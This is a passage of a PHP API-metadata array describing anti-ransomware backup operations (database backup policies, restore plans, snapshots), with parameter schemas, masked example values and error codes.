=> 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'DatabaseList' => [ 'description' => 'An array that consists of the information about the databases.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the database.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the ECS instance. Valid values:'."\n" ."\n" .'* **Stopped**'."\n" .'* **Running**'."\n", 'type' => 'string', 'example' => 'Running', ], 'DatabaseType' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **MSSQL**'."\n" .'* **Oracle**'."\n", 'type' => 'string', 'example' => 'MYSQL', ], 'DatabaseVersion' => [ 'description' => 'The version of the database engine.'."\n", 'type' => 'string', 'example' => '12.0.4100.1', ], 'DatabaseName' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'example' => 'apns_tt180', ], 'InstanceName' => [ 'description' => 'The name of the instance to which the database belongs.'."\n", 'type' => 'string', 'example' => 'sql-test-001', ], 'InstanceUuid' => [ 'description' => 'The UUID of the Hybrid Backup Recovery (HBR) agent that is used to back up the data of the database.'."\n", 'type' => 'string', 'example' => '85878b284df911ec800000163e19****', ], 'CreatedByProduct' => [ 'description' => 'The service from which the database is created. Valid values:'."\n" ."\n" .'* **HBR**: HBR'."\n" .'* **AEGIS**: Security Center'."\n", 'type' => 'string', 'example' => 'AEGIS', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp15aho9hhftvmhw****', ], 'PolicyId' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'AgentStatus' => [ 'description' => 'The status of the anti-ransomware agent. Valid values:'."\n" ."\n" .'* **UNKNOWN**: unknown'."\n" .'* **INSTALLED**: installed'."\n" .'* **INSTALL_FAILED**: installation failed'."\n" .'* **UNINSTALL_FAILED**: uninstallation failed'."\n", 'type' => 'string', 'example' => 'INSTALLED', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 20\\n },\\n \\"DatabaseList\\": [\\n {\\n \\"Status\\": \\"Running\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"DatabaseVersion\\": \\"12.0.4100.1\\",\\n \\"DatabaseName\\": \\"apns_tt180\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InstanceUuid\\": \\"85878b284df911ec800000163e19****\\",\\n \\"CreatedByProduct\\": \\"AEGIS\\",\\n \\"InstanceId\\": \\"i-bp15aho9hhftvmhw****\\",\\n \\"PolicyId\\": 123,\\n \\"AgentStatus\\": \\"INSTALLED\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUniBackupDatabase', ], 'DescribeRestorePlans' => [ 'summary' => 'Queries restoration tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sql-test-001', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the restoration task. Valid values:'."\n" ."\n" .'* **init**: initializing'."\n" .'* **created**: creating'."\n" .'* **running**: running'."\n" .'* **completed**: complete'."\n" .'* **error**: failed'."\n" .'* **restoring**: restoring'."\n", 'type' => 'string', 'required' => false, 'example' => 'running', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '33', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'RestorePlans' => [ 'description' => 'An array that consists of the restoration tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the restoration task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the restoration task. Valid values:'."\n" ."\n" .'* **init**: initializing'."\n" .'* **created**: creating'."\n" .'* **running**: running'."\n" .'* **completed**: complete'."\n" .'* **error**: failed'."\n" .'* **restoring**: restoring'."\n", 'type' => 'string', 'example' => 'running', ], 'RestorePoint' => [ 'description' => 'The point in time to which data is restored.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '165875100****', ], 'UpdatedTime' => [ 'description' => 'The timestamp when the restoration task was last updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '166849080****', ], 'DatabaseName' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'example' => 'Bankup****', ], 'InstanceName' => [ 'description' => 'The name of the server on which the database resides.'."\n", 'type' => 'string', 'example' => 'sql-test-001', ], 'TargetInstanceName' => [ 'description' => 'The name of the destination server.'."\n", 'type' => 'string', 'example' => 'hbr-detection-hh', ], 'TargetDatabaseName' => [ 'description' => 'The name of the destination database.'."\n", 'type' => 'string', 'example' => 'OABak', ], 'PolicyName' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'KtDataBase', ], 'PolicyId' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'TargetInstanceId' => [ 'description' => 'The ID of the destination server.'."\n", 'type' => 'string', 'example' => 'i-2zehqflgbl9ep2he****', ], 'CreatedTime' => [ 'description' => 'The timestamp when the restoration task was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1655174753****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 33,\\n \\"Count\\": 20\\n },\\n \\"RestorePlans\\": [\\n {\\n \\"Status\\": \\"running\\",\\n \\"RestorePoint\\": 0,\\n \\"UpdatedTime\\": 0,\\n \\"DatabaseName\\": \\"Bankup****\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"TargetInstanceName\\": \\"hbr-detection-hh\\",\\n \\"TargetDatabaseName\\": \\"OABak\\",\\n \\"PolicyName\\": \\"KtDataBase\\",\\n \\"PolicyId\\": 123,\\n \\"TargetInstanceId\\": \\"i-2zehqflgbl9ep2he****\\",\\n \\"CreatedTime\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeRestorePlans', ], 'DeleteUniBackupPolicy' => [ 'summary' => 'Deletes anti-ransomware policies that are created for databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies. You must specify at least one of the PolicyId parameter and the **PolicyIds** parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'PolicyIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of anti-ransomware policies.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies. You must specify at least one of the **PolicyId** parameter and the PolicyIds parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '123,124', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4F07F4F1-88ED-5569-B519-FFCC9B7E****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4F07F4F1-88ED-5569-B519-FFCC9B7E****\\"\\n}","type":"json"}]', 'title' => 'DeleteUniBackupPolicy', ], 'CreateUniRestorePlan' => [ 'summary' => 'Creates a restoration task for a database.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'TimePoint', 'in' => 'query', 'schema' => [ 'description' => 'The point in time to which you want to restore data.'."\n" ."\n" .'> You can call the [DescribeRestorePlans](~~DescribeRestorePlans~~) operation to query the point in time.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1656957664000', ], ], [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'Database', 'in' => 'query', 'schema' => [ 'description' => 'The name of the database.'."\n", 'type' => 'string', 'required' => false, 'example' => 'qtc', ], ], [ 'name' => 'InstanceUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the Hybrid Backup Recovery (HBR) agent that is used to restore the data of the database on your server.'."\n" ."\n" .'> You can call the [DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ac457b30598d11ed800000163e02****', ], ], [ 'name' => 'ResetTime', 'in' => 'query', 'schema' => [ 'description' => 'The point in time for restoration in the backup version that you want to use. The database is an Oracle database.****'."\n" ."\n" .'> You can call the [DescribeUniRecoverableList](~~DescribeUniRecoverableList~~) operation to query the value.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-10-29 01:06:24', ], ], [ 'name' => 'ResetScn', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the point in time for restoration in the backup version that you want to use. The database is an Oracle database.****'."\n" ."\n" .'> You can call the [DescribeUniRecoverableList](~~DescribeUniRecoverableList~~) operation to query the value.'."\n", 'type' => 'string', 'required' => false, 'example' => '925702.0', ], ], [ 'name' => 'RestoreInfo', 'in' => 'query', 'schema' => [ 'description' => 'The information about the database. This parameter is available when the database is a Microsoft SQL Server (MSSQL) database. The value is a JSON string. Valid values:'."\n" ."\n" .'* **name**: the name of the database'."\n" .'* **files**: the path to the database files'."\n" ."\n" .'> You can call the [DescribeUniRecoverableList](~~DescribeUniRecoverableList~~) operation to query the information.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"files": {"qtc":"F:\\\\database\\\\qtc.mdf","qtc_log":"F:\\\\database\\\\qtc_0.ldf"},'."\n" .'"name":"qtc"}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', 'title' => 'CreateUniRestorePlan', ], 'CreateUniBackupPolicy' => [ 'summary' => 'Creates an anti-ransomware policy for a database.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91941', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'PolicyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'mysql-policy', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Elastic Compute Service (ECS) instance.'."\n" ."\n" .'> You can call the [DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~) operation to query the IDs of ECS instances.'."\n", 'type' => 'string', 'required' => true, 'example' => 'i-bp1fu4aqltf1huhc****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server whose data is backed up based on the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '045cad48-eb08-4047-a70c-713aec7b****', ], ], [ 'name' => 'DatabaseType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **ORACLE**'."\n" .'* **MSSQL**'."\n", 'type' => 'string', 'required' => true, 'example' => 'MYSQL', ], ], [ 'name' => 'Retention', 'in' => 'query', 'schema' => [ 'description' => 'The retention period of backup data.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '7', ], ], [ 'name' => 'SpeedLimiter', 'in' => 'query', 'schema' => [ 'description' => 'The maximum network bandwidth that is allowed during data backup. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '5242880', ], ], [ 'name' => 'AccountName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the database account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'admin', ], ], [ 'name' => 'AccountPassword', 'in' => 'query', 'schema' => [ 'description' => 'The password of the database account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Pass****', ], ], [ 'name' => 'DatabaseAddByUser', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the database is manually added. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'UniRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'FullPlan', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The policy for full data backup. The value of this parameter is a JSON string. The JSON string contains the following fields:'."\n" ."\n" .'* **start**: the start time of a backup task.'."\n" .'* **interval**: the interval of backup tasks.'."\n" .'* **type**: the unit of the interval.'."\n" .'* **days**: the days of a week on which a backup task is performed.'."\n", 'type' => 'object', 'required' => true, 'example' => '{"days":[4],"interval":1,"planType":"weekly","startTime":"22:00:00"}', ], ], [ 'name' => 'IncPlan', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The policy for incremental data backup. The value of this parameter is a JSON string. The JSON string contains the following fields:'."\n" ."\n" .'* **start**: the start time of a backup task.'."\n" .'* **interval**: the interval of backup tasks.'."\n" .'* **type**: the unit of the interval.'."\n" .'* **days**: the days of a week on which a backup task is performed.'."\n", 'type' => 'object', 'required' => true, 'example' => '{"interval":1,"planType":"daily","startTime":"23:30:00"}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2FAEB7D0-C0B9-581C-877A-F80F50AA****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'FailedToActivateUniBackupInstance', 'errorMessage' => 'Failed to activate unbackup instance.', ], [ 'errorCode' => 'AntiRansomwareCapacityUseUp', 'errorMessage' => 'anti ransomware capacity use up', ], [ 'errorCode' => 'DatabaseTypeNotSupport', 'errorMessage' => 'Database type not supported.', ], [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2FAEB7D0-C0B9-581C-877A-F80F50AA****\\"\\n}","type":"json"}]', 'title' => 'CreateUniBackupPolicy', ], 'DescribeSnapshots' => [ 'summary' => 'Queries the backup snapshots that are created for anti-ransomware.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeBackupPolicy](~~DescribeBackupPolicy~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '061d8042-59ff-416e-bc33-294a1cf5****', ], ], [ 'name' => 'MachineRegion', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n" ."\n" .'> If the Uuid parameter is not specified, this parameter is required.'."\n", 'type' => 'string', 'required' => false, 'example' => 'us-east-1', ], ], [ 'name' => 'MachineRemark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of backup snapshots from which data can be restored. Valid values:'."\n" ."\n" .'* **COMPLETE**: complete'."\n" .'* **PARTIAL_COMPLETE**: partial complete'."\n", 'type' => 'string', 'required' => false, 'example' => '["COMPLETE"]', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The starting position of the query. If this parameter is left empty, the query starts from the beginning.'."\n" ."\n" .'> If you call the operation for the first time, you do not need to specify the parameter. The response to the first call contains the token that can be used for the second call. Each subsequent response contains the token that can be used for the next call.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAB4SwmEAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM0NzY3YTZjNjI3NjZmNmU3MjcxNjk3NDY5MzY3MjY4****', ], ], [ 'name' => 'ApiVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => true, 'example' => '2.0.0', ], ], [ 'name' => 'IsAliYunEcs', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the server is an Elastic Compute Service (ECS) instance. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The token that is used to initiate the next call.'."\n", 'type' => 'string', 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4****', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Snapshots' => [ 'description' => 'An array that consists of the backup snapshots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the backup snapshot.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of backup tasks. Valid values:'."\n" ."\n" .'* **COMPLETE**: complete'."\n" .'* **PARTIAL_COMPLETE**: partial complete'."\n" .'* **FAILED**: failed'."\n", 'type' => 'string', 'example' => 'COMPLETE', ], 'SnapshotHash' => [ 'description' => 'The hash value of the backup snapshot.'."\n", 'type' => 'string', 'example' => '9ee47cf12351e4ddecce8c12f4957d3946cd96fbe24cd4ab264c7200839d****', ], 'ActualItems' => [ 'description' => 'The actual number of backup objects.'."\n" ."\n" .'> This parameter is available only for file backup.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'VaultId' => [ 'description' => 'The ID of the backup vault that stores the backup snapshot.'."\n", 'type' => 'string', 'example' => 'v-000ccok3zmw7fbzz****', ], 'ActualBytes' => [ 'description' => 'The actual data amount of backup snapshots after duplicates are removed. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '686188****', ], 'SourceType' => [ 'description' => 'The type of the data source. Valid values:'."\n" ."\n" .'* **ECS_FILE**: ECS files'."\n" .'* **OSS**: Object Storage Service (OSS) buckets'."\n" .'* **NAS**: File Storage NAS file systems'."\n" .'* **OTS_TABLE**: Tablestore instances', 'type' => 'string', 'example' => 'ECS_FILE', ], 'ClientId' => [ 'description' => 'This parameter is returned only if the value of the **SourceType** parameter is **ECS_FILE**. This parameter indicates the ID of the Hybrid Backup Recovery (HBR) agent.'."\n", 'type' => 'string', 'example' => 'c-000dbefaw9f7gnbw****', ], 'ItemsDone' => [ 'description' => 'The number of backup objects.'."\n" ."\n" .'> This parameter is available only for file backup.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '6', ], 'BytesTotal' => [ 'description' => 'The total data amount of the data source. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3484541815****', ], 'Retention' => [ 'description' => 'The retention period of the backup snapshot.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '7', ], 'CreatedTime' => [ 'description' => 'The time when the backup snapshot was created. The value is a UNIX timestamp. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1646793988', ], 'ParentSnapshotHash' => [ 'description' => 'The hash value of the parent backup snapshot.'."\n", 'type' => 'string', 'example' => 'a0181606689c9562f092b3190bddb8a62bb5a24784424ba2102bc7fe92ae****', ], 'InstanceId' => [ 'description' => 'The ID of the ECS instance.'."\n", 'type' => 'string', 'example' => 'i-2ze78zfakirgh1yl****', ], 'PlanId' => [ 'description' => 'The ID of the backup plan.'."\n", 'type' => 'string', 'example' => 'plan-000ee8gh2ljelsnb****', ], 'RegionId' => [ 'description' => 'The ID of the region in which backup snapshot is stored.'."\n", 'type' => 'string', 'example' => 'us-east-1', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'd332af48-1269-4a55-a6db-8543a80f****', ], 'ErrorFile' => [ 'description' => 'The file that records the information about backup failures, including the information about partially completed backup tasks.'."\n", 'type' => 'string', 'example' => 's-0008ndhgrflh55i5****.csv', ], 'SnapshotId' => [ 'description' => 'The ID of the backup snapshot.'."\n", 'type' => 'string', 'example' => 's-0003ahfuqpjdztsg****', ], 'JobId' => [ 'description' => 'The ID of the backup task.'."\n", 'type' => 'string', 'example' => 'job-000a2q5vg6awgo01****', ], 'Path' => [ 'description' => 'This parameter is returned only if the value of the **SourceType** parameter is **ECS_FILE**. This parameter indicates the path to the backup files.'."\n", 'type' => 'string', 'example' => '["/home"]'."\n", ], 'ItemsTotal' => [ 'description' => 'The total number of objects in the data source.'."\n" ."\n" .'> This parameter is available only for file backup.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '7', ], 'BytesDone' => [ 'description' => 'The actual amount of data that is generated by incremental backup. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '800', ], 'Paths' => [ 'description' => 'This parameter is returned only if the value of the **SourceType** parameter is **NAS**. This parameter indicates the path to the backup files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path information about the backup snapshot.'."\n", 'type' => 'string', 'example' => '/home', ], ], 'ClientVersion' => [ 'description' => 'The version of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => '2.10.0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"NextToken\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4****\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 20\\n },\\n \\"Snapshots\\": [\\n {\\n \\"Status\\": \\"COMPLETE\\",\\n \\"SnapshotHash\\": \\"9ee47cf12351e4ddecce8c12f4957d3946cd96fbe24cd4ab264c7200839d****\\",\\n \\"ActualItems\\": 123,\\n \\"VaultId\\": \\"v-000ccok3zmw7fbzz****\\",\\n \\"ActualBytes\\": 0,\\n \\"SourceType\\": \\"ECS_FILE\\",\\n \\"ClientId\\": \\"c-000dbefaw9f7gnbw****\\",\\n \\"ItemsDone\\": 6,\\n \\"BytesTotal\\": 0,\\n \\"Retention\\": 7,\\n \\"CreatedTime\\": 1646793988,\\n \\"ParentSnapshotHash\\": \\"a0181606689c9562f092b3190bddb8a62bb5a24784424ba2102bc7fe92ae****\\",\\n \\"InstanceId\\": \\"i-2ze78zfakirgh1yl****\\",\\n \\"PlanId\\": \\"plan-000ee8gh2ljelsnb****\\",\\n \\"RegionId\\": \\"us-east-1\\",\\n \\"Uuid\\": \\"d332af48-1269-4a55-a6db-8543a80f****\\",\\n \\"ErrorFile\\": \\"s-0008ndhgrflh55i5****.csv\\",\\n \\"SnapshotId\\": \\"s-0003ahfuqpjdztsg****\\",\\n \\"JobId\\": \\"job-000a2q5vg6awgo01****\\",\\n \\"Path\\": \\"[\\\\\\"/home\\\\\\"]\\\\n\\",\\n \\"ItemsTotal\\": 